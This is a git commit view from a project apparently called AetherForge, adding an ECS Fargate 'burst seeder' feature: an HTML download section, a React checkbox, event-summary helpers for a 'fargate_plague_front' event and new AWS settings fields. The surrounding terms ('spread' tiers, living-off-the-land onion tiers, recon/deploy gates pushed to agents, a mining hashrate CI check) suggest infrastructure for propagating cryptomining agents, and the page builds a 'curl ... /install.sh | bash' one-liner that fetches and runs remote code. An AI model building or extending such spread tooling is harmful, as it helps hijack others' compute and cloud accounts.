Add ECS Fargate burst seeder fleet with BGP hints and spread-kit exports.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 10:04:11 -07:00
parent 5b5fc7c01c
commit 40d46408ea
14 changed files with 554 additions and 14 deletions

View File

@@ -241,6 +241,24 @@
</p>
</section>
<section class="section" id="burst-seeder">
<h2>Burst seeder (ECS Fargate)</h2>
<p>
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
</p>
<div class="install-grid">
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
</div>
<p class="fine" style="margin-top: 0.75rem;">
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 24 hours; Seer emits
<code class="inline">fargate_plague_front</code> when burst activates.
</p>
</section>
<footer class="fine">
<p>
Command-deck copy: <a href="/spread/">/spread/</a> ·
@@ -280,6 +298,14 @@
var dl = document.getElementById('btn-dl');
if (dl) dl.href = withSuffix(SERVER + '/get');
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
var fargateBundle = document.getElementById('fargate-bundle');
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
var fargateTask = document.getElementById('fargate-task-def');
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
var fargateRun = document.getElementById('fargate-run-script');
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
var bash = document.getElementById('oneliner-bash');
var ps1 = document.getElementById('oneliner-ps1');
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";

View File

@@ -217,6 +217,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
</label>
</div>
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={server.fargate_burst_campaign === true}
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
/>
<span>Fargate burst seeder campaign (ECS, 24h TTL)</span>
</label>
</div>
{server.lotl_onion_tiers?.length ? (
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>

View File

@@ -15,6 +15,24 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
return event.event_type === 'onion_miner_log';
}
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
return event.event_type === 'fargate_plague_front';
}
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
if (!isFargatePlagueFrontEvent(event)) return '';
const p = event.payload ?? {};
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
if (ttl != null && expires) {
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
}
if (ttl != null) {
return `Fargate burst seeder front · TTL ${ttl}h`;
}
return 'Fargate burst seeder campaign active (ECS plague front)';
}
export function onionMinerLogSummary(event: SeerEventRecord): string {
if (!isOnionMinerLogEvent(event)) return '';
const p = event.payload ?? {};

View File

@@ -382,6 +382,12 @@ export interface ServerSettings {
erasure_lanes_enabled?: boolean;
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
fleet_torrent_enabled?: boolean;
aws_s3_shard_bucket?: string;
aws_s3_shard_region?: string;
aws_cloudfront_domain?: string;
fargate_burst_campaign?: boolean;
fargate_burst_ttl_hours?: number;
fargate_burst_expires_at?: string;
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;